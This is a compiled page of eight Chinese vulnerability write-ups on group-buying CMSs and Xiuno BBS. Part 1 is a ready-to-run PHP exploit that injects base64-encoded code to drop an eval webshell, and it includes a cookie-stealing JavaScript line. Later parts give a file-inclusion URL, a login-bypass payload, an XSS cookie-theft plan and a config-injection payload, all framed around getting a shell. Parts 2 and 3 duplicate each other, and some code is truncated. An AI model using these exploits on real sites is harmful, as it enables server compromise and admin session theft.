以下是小编为大家准备的天天团购后台Getshell安全问题漏洞预警,本文共8篇,仅供参考,欢迎大家阅读。

篇1:天天团购后台Getshell安全问题漏洞预警

by k4shifz[w.s.t]

bbs.wolvez

上次说到天天团购的后台拿shell,

后台注射,向数据库插入代码。exp需要填写四个参数 $host、$path、$formhash、$cookie。提交后,前台登录执行代码。

/*

TianTian Tuangou getshell codz by k4shifz

Team: bbs.worlvez

*/

$host='localhost';

$path='tttuangou';

/*

view : /admin.php?mod=role_action&code=modify&id=50

get cookie : javascript.:document.write(document.cookie);

*/

$formhash='596da77e66139589';

$cookie='admin cookies';

/* injection */

$data=rawurlencode('eval(base64_decode(“ZnB1dHMoZm9wZW4oJzEucGhwJywndysnKSwnPD9waHAgQGV2YWwoJF9QT1NUW2tdKTs/PicpOw==”));');

$cmd='FORMHASH='.$formhash.'&id=50&is_admin=0&php_code='.$data.'&name=%B5%C7%C2%BD%CF%B5%CD%B3&allow_all=1&role_ids%5B%5D=1&role_ids%5B%5D=3&role_ids%5B%5D=4&role_ids%5B%5D=5&role_ids%5B%5D=6&role_ids%5B%5D=2&role_ids%5B%5D=7&module=login&action=dologin%7C&log=0&message=&describe=&update_value%5Bcredits%5D=0&require_value%5Bcredits%5D=0&detailsubmit=%CC%E1+%BD%BB';

$fs=fsockopen($host,'80');

fputs($fs,'POST /'.$path.'/admin.php?mod=role_action&code=domodify HTTP/1.0

Referer:'.$host.'/'.$path.'/admin.php?mod=role_action&code=modify&id=50

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)

Host: '.$host.'

Content-Length: '.strlen($cmd).'

Cookie: '.$cookie.'

'.$cmd);

fclose($fs);

file_get_contents(“{$host}/{$path}/index.php?mod=login”);

exit(“ok\n{$host}/{$path}/1.php k\n”);

?>前台的问题还是挺多的,黑盒估计都能测出来,

篇2:的天天团购0day漏洞预警

首先是本地包含

ajax.php

require_once MOD_PATH.$this->SetEvent($config['default_module']).’.mod.php’;

//再看SetEvent

function SetEvent

{

$modss = array(‘check’=>1,’getseller’=>1,’member’=>1);

$mod = (isset($_POST['mod']) ? $_POST['mod'] : $_GET['mod']);

if(!isset($modss)) { //程序员思想混乱了.估计老板没发工资

include(INCLUDE_PATH.’error_4.php’);

exit;

}

$_POST['mod'] = $_GET['mod'] = $mod;

Return $mod;

}

那么mod.php结尾的那个能用呢?

以下是上传漏洞

看modules\admin\tttuangou.mod.php //后台文件!

class ModuleObject extends MasterObject{

var $city;

function ModuleObject($config){

$this->MasterObject($config); Load::logic(‘product’);

$this->ProductLogic = new ProductLogic();

Load::logic(‘pay’);

$this->PayLogic = new PayLogic();

Load::logic(‘me’);

$this->MeLogic = new MeLogic();

Load::logic(‘order’);

$this->OrderLogic = new OrderLogic();

$this ->config =$config;

$this->ID = (int) ($this->Post['id'] ? $this->Post['id'] : $this->Get['id']);

$this->Execute();

}

//很幸运地以上自定义函数都已经定义了

function Execute(){

switch($this->Code){

case ‘varshow’:

$this->Varshow();

break;

case ‘varedit’:

//忽略一堆东西

case ‘dositelogo’:

$this->doSiteLogoManager();

//再看doSiteLogoManager

function doSiteLogoManager()

{

//这里忽略一些没用的东西

$_FILES['uploads']['name'] = $FILES_O['uploads']['name'][$i];

//继续忽略

$default_type=array(‘jpg’,'pic’,'png’,'jpeg’,'bmp’,'gif’); $imgary=explode(‘.’,$_FILES['uploads']['name']);

if(!in_array(strtolower($imgary[count($imgary)-1]),$default_type)){

$this->Messager(‘不允许上传的图片格式!’);

}

//这里限制了后缀

$full_path = urldecode($this->Get['path']);

$fp_ary = explode(‘/’, $full_path);

$file = $fp_ary[count($fp_ary)-1];

$dir = ”;

for ($i=0;$i

{

if ($fp_ary[$i] != ‘.’)

{

$dir .= $fp_ary[$i].’/';

}

}

$dir = ‘./’.$dir; //o(∩_∩)o 哈哈 悲剧 path自定义名字可以了 直接上传JPG

require_once LIB_PATH . ‘upload.han.php’;

$upload_handler = new UploadHandler($_FILES, $dir, ‘uploads’ , true);

同时还发现2处没用的包含漏洞

modules\me.mod.php

function Readdmoney(){

$pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //没过滤

//忽略…

include_once(‘./modules/’.$pay_code.’.pay.php’);

还有index.mod.php

function Repay(){

$pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //一样没过滤

//也忽略…

include_once(‘./modules/’.$pay_code.’.pay.php’);

.pay.php只有3个在线支付文件还没什么用

一切GPC后的东西都是浮云 唯有超长字符截断了

篇3:天天团购系统 0DAY漏洞预警

作者:心灵

===========================================

也是那句 最后能拿到WEBSHELL都统称0DAY

o(∩_∩)o 哈哈

经典对白看代码

首先是本地包含

ajax.php

require_once MOD_PATH.$this->SetEvent($config['default_module']).'.mod.php'; //再看SetEvent function SetEvent() { $modss = array('check'=>1,'getseller'=>1,'member'=>1);$mod = (isset($_POST['mod']) ? $_POST['mod'] : $_GET['mod']); if(!isset($modss)) { //程序员思想混乱了.估计老板没发工资 include(INCLUDE_PATH.'error_404.php'); exit; } $_POST['mod'] = $_GET['mod'] = $mod; Return $mod; }

那么mod.php结尾的那个能用呢?

以下是上传漏洞

看modules\admin\tttuangou.mod.php //后台文件!

class ModuleObject extends MasterObject{ var $city; function ModuleObject($config){ $this->MasterObject($config); Load::logic('product'); $this->ProductLogic = new ProductLogic(); Load::logic('pay'); $this->PayLogic = new PayLogic(); Load::logic('me'); $this->MeLogic = new MeLogic(); Load::logic('order'); $this->OrderLogic = new OrderLogic(); $this ->config =$config; $this->ID = (int) ($this->Post['id'] ? $this->Post['id'] : $this->Get['id']); $this->Execute(); } //很幸运地以上自定义函数都已经定义了 function Execute(){ switch($this->Code){ case 'varshow': $this->Varshow(); break; case 'varedit'://忽略一堆东西 case 'dositelogo': $this->doSiteLogoManager(); //再看doSiteLogoManagerfunction doSiteLogoManager() { //这里忽略一些没用的东西 $_FILES['uploads']['name'] = $FILES_O['uploads']['name'][$i]; //继续忽略 $default_type=array('jpg','pic','png','jpeg','bmp','gif'); $imgary=explode('.',$_FILES['uploads']['name']); if(!in_array(strtolower($imgary[count($imgary)-1]),$default_type)){ $this->Messager('不允许上传的图片格式!'); } //这里限制了后缀 $full_path = urldecode($this->Get['path']); $fp_ary = explode('/', $full_path); $file = $fp_ary[count($fp_ary)-1]; $dir = ''; for ($i=0;$i

同时还发现2处没用的包含漏洞

modules\me.mod.php

function Readdmoney(){ $pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //没过滤 //忽略... include_once('./modules/'.$pay_code.'.pay.php');

还有index.mod.php

function Repay(){ $pay_code = (isset($_POST['pay']) ? $_POST['pay'] : $_GET['pay']); //一样没过滤 //也忽略... include_once('./modules/'.$pay_code.'.pay.php');

.pay.php只有3个在线支付文件还没什么用

一切GPC后的东西都是浮云 唯有超长字符截断了

篇4:ECSHOP跨站+后台文件包含=Getshell漏洞预警

简要描述:

看到重点应用中有Ecshop就来了..

详细说明:

0x1 会员中心添加缺货登记处linkman参数在后台查看详细时未做编码,导致跨站..

0x2 ecshop 后台integrate.php文件 从第80行起基本都是文件包含..

可以访问

localhost:8082/ECShop_V2.7.3/admin/integrate.php?act=install&code=../../../../ECShop_V2.7.3/data/feedbackimg/6_0506toqbvy.txt%00

来包含我们的文件,但是需要后台权限,截断就靠自己的人品了..

0x3 我们结合一二在留言处上传一个文本文件,通过跨站让管理员来访问包含的文件就可以getshell 啦..

漏洞证明:

修复方案:

修复后台的跨站以及文件包含..

篇5:最土团购2.00901后台BYPASS登录后台0day分析漏洞预警

前两天在黑吧看到《最土团购网 BYPASS登录后台0day》原文地址:www.myhack58/Article/html/3/62//33685.htm的漏洞信息(此漏洞去年都已经出了,但黑吧文章更新比较落后!),感觉漏洞利用手法有点奇怪,首先是肯定了使用SQL注入方式,但是咋一眼看去确实有点疑惑不解,不由得想看看代码是怎么一个写法,于是在网上下了套最土团购2.0_20110901程序来研究研究,经过大半天的研究算是基本明白了漏洞原理,这里就简单的写下漏洞原理分析过程。在继续接下来内容之前先还上膜拜下此漏洞原作者,能找到这个漏洞确实不易,至少换做是我的话我可能70%不会注意到这个漏洞。

首先还是看看漏洞Exp,在后台登陆页面修改Form表单的name=“username” 为:name=“username[=0x7c or manager=1#]”,保存后账号密码任意即可登陆后台了。根据这个Exp我们将username[=0x7c or manager=1#] 带入实际程序中看看。在PHP中form表单数据是以数组方式传送的,$_POST[]获取到的都是数组形式,以上代码username[=0x7c or manager=1#]其实就是一个数组“username”为数组名,“=0x7c or manager=1#”为数组下标,在使用$_POST获取其实就是$_POST[username][=0x7c or manager=1#] 成为一个二维数组。提交后数据进入include/class/ZUser.class.php类中的GetLogin函数

static public function GetLogin($email, $unpass, $en=true) {

/* just for zuitu_demo, no harm */

if (strtolower(md5($email))=='b80c4133e7227706d64920a1cd8789e9') {

return Table::Fetch('user', $email, 'email');

}

/* end */

if($en) $password = self::GenPassword($unpass); //加密密码

$field = strpos($email, ) ? 'email' : 'username';

//数据进入GetTableRow函数

$zuituuser = DB::GetTableRow('user', array(

$field =>$email,

'password' =>$password,

));

if ($zuituuser) return $zuituuser;

if (function_exists('zuitu_uc_login')) {

return zuitu_uc_login($email, $unpass);

}

return array;

}

因我们form表单中username提交的是一个数组,所以传入GetTableRow函数的第二个参数变为array('username' =>array ('=0x7c or manager=1#' =>'adminuser' ) ,'password' =>‘md5password’,),继续跟进include/library/DB.class.php类中的GetTableRow函数:

static public function GetTableRow($table, $condition)

{

return self::LimitQuery($table, array(

'condition' =>$condition,

'one' =>true,

));

}

从以上代码可看出程序将传入的$condition值再加上一层数组,然后传递给LimitQuery函数,所以在此进入LimitQuery时候,第二参数值为:array('condition' =>array('username' =>array ('=0x7c or manager=1#' =>'ddd' ) ,'password' =>‘md5password’,),'one' =>true,),继续跟进LimitQuery函数:

static public function LimitQuery($table, $options=array())

{

$condition = isset($options['condition']) ? $options['condition'] : null;

$one = isset($options['one']) ? $options['one'] : false;

$offset = isset($options['offset']) ? abs(intval($options['offset'])) : 0;

if ( $one ) {

$size = 1;

} else {

$size = isset($options['size']) ? abs(intval($options['size'])) : null;

}

$select = isset($options['select']) ? $options['select'] : '*';

$order = isset($options['order']) ? $options['order'] : null;

$cache = isset($options['cache'])?abs(intval($options['cache'])):0;

$condition = self::BuildCondition( $condition );

$condition = (null==$condition) ? null : “WHERE $condition”;

$limitation = $size ? “LIMIT $offset,$size” : null;

$sql = “SELECT {$select} FROM `$table` $condition $order $limitation”;

return self::GetQueryResult( $sql, $one, $cache);

}

以上函数功能实际是为了构造最终查询的SQL语句,数据进入该函数后取得数组中下标为'condition'的值即:array('username' =>array ('=0x7c or manager=1#' =>'ddd' ) ,'password' =>‘md5password’,) 然后将此值代入BuildCondition函数,继续跟进BuildCondition函数:

static public function BuildCondition($condition=array(), $logic='AND')

{

if ( is_string( $condition ) || is_null($condition) )

return $condition;

$logic = strtoupper( $logic );

$content = null;

foreach ( $condition as $k =>$v )//第一次遍历数组

{

$v_str = null;

$v_connect = '=';

if ( is_numeric($k) )

{

$content .= $logic . ' (' . self::BuildCondition( $v, $logic ) . ')';

continue;

}

$maybe_logic = strtoupper($k);

if ( in_array($maybe_logic, array('AND','OR')))

{

$content .= $logic . ' (' . self::BuildCondition( $v, $maybe_logic ) . ')';

continue;

}

if ( is_numeric($v) ) {

$v_str = “'{$v}'”;

}

else if ( is_null($v) ) {

$v_connect = ' IS ';

$v_str = ' NULL';

}

else if ( is_array($v) ) {       //经过第一次遍历数组后,$v值依然是个数组,因为$condition值为一个二维数组

if ( isset($v[0]) ) {

$v_str = null;

foreach($v AS $one) {

if (is_numeric($one)) {

$v_str .= ','.$one;

} else {

$v_str .= ',\''.self::EscapeString($one).'\'';

}

}

$v_str = '(' . trim($v_str, ',') .')';

$v_connect = 'IN';

} else if ( empty($v) ) {

$v_str = $k;

$v_connect = '';

} else {      //以上条件不满足,程序跳至此处

$v_connect = array_shift(array_keys($v));    //得到$v_connect 值为:=0x7c or manager=1#

$v_s = array_shift(array_values($v));

$v_str = “'”.self::EscapeString($v_s).“'”;

$v_str = is_numeric($v_s) ? “'{$v_s}'” : $v_str ;

}

}

else {

$v_str = “'”.self::EscapeString($v).“'”;

}

$content .= “ $logic `$k` $v_connect $v_str ”;

}

$content = preg_replace( '/^\s*'.$logic.'\s*/', '', $content );

$content = preg_replace( '/\s*'.$logic.'\s*$/', '', $content );

$content = trim($content);

return $content;     //值为 `username`=0x7c or manager=1# 'ddd' AND `password` = 'md5password'

}

通过以上代码后,返回LimitQuery函数中可得到最终的sql语句为:SELECT * FROM `user` WHERE `username` =0x7c or manager=1# 'ddd' AND `password` = 'f8c2911838a9a264d53d68c0a50c25c7' LIMIT 0,1成功绕过后台!!

结语:这样方式的漏洞你什么magic_quote_gpc都是浮云了,完美注入,其实我搞不懂为啥后台登陆验证要写那么复杂,看代码时候着实让我饶了一会儿,这样的功能越是多越是容易出现纰漏,这也给我们越多的利用机会,

篇6:方维团购系统存储型XSS可盲打后台漏洞预警

fanwe团购系统存在XSS可以获得管理员cookie并且进入后台

首先在一个商品进去,里面会有退款留言,都会有的就算支付了会有,

方维团购系统存储型XSS可盲打后台漏洞预警

然后评论可以添加XSS,管理员每天都会查看,查看的时候就会取得管理员COOkie

然后通过cookie访问

然后进入后台

后台有SQL语句执行,可以通过它导出一句话,然后拿到webshell

篇7:易想团购程序SQL注入漏洞漏洞预警

易想团购管理系统是一套定位中高端市场的团购内容管理系统,能够以最低的成本,最少的人力投入在最短的时间架设一个功能齐全、性能优异、规模庞大并易于维护的网站平台,

易想团购程序SQL注入漏洞漏洞预警

未作过滤导致注入​

目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.easethink​

篇8:xiuno bbs论坛后台代码执行Getshell漏洞附利用方法漏洞预警

官方介绍:

Xiuno 这个名字来源于圣斗士星矢白羊座的黄金圣斗士修罗,他的攻击速度和战斗力是十二宫最强的,他是速度和力量的化身;在佛教里面,修罗为六道之一,处于人道和天道之间的一道,半人半神,性情刚烈,好战斗,我们取其寓意,希望XIUNO变得越来越强,越来越快。

在 Xiuno BBS 的第一行代码开始(一共大约有4W多行代码,历时多年积累)对性能的追求就到了苛刻,完美,歇斯底里,神经质,作者本人经常因为权衡一个方案而陷入冥想状态,在千万级数据下,最终的程序执行速度基本控制在0.00x秒,是作者本人比较满意的。

漏洞描述:

xiuno后台在写入配置文件时出现漏洞,导致代码执行

1. 系统配置并非存放在数据库中,而是存放在conf.php中;

2. 使用数组的方法存放;

3. 有转义: ‘ =>\’ ;

4. ‘\’没有转义;

5. 插入\’会被转义为\\’,php中表示一个\,而单引号就逃脱了转义,因此可以闭合前面的数组;

6. 该漏洞在后台管理中多次出现,包括灯鹭插件的设置中也出现,

在admin/control/conf_control.class.php的on_base方法中:

相关代码 省略。。。。

直接写入到了文件中,由于过滤不严,我们用’即可绕过单引号过滤,达到闭合单引号的目的。

设置 ->基本设置 ->站点名称 加上 \’,)&&phpinfo();/* (其他地方应该也可以,没测试)

这样就在conf/conf.php中写入了如下代码:

return array ( ...... // 唯一识别ID 'app_id' => 'bbs' , // 站点名称 'app_name' => 'Xiuno BBS\\' ,)&&phpinfo();/*',

形成了return array() && phpinfo();

通过使用&&达到执行命令的目地.

更多推荐

天天团购后台Getshell安全问题漏洞预警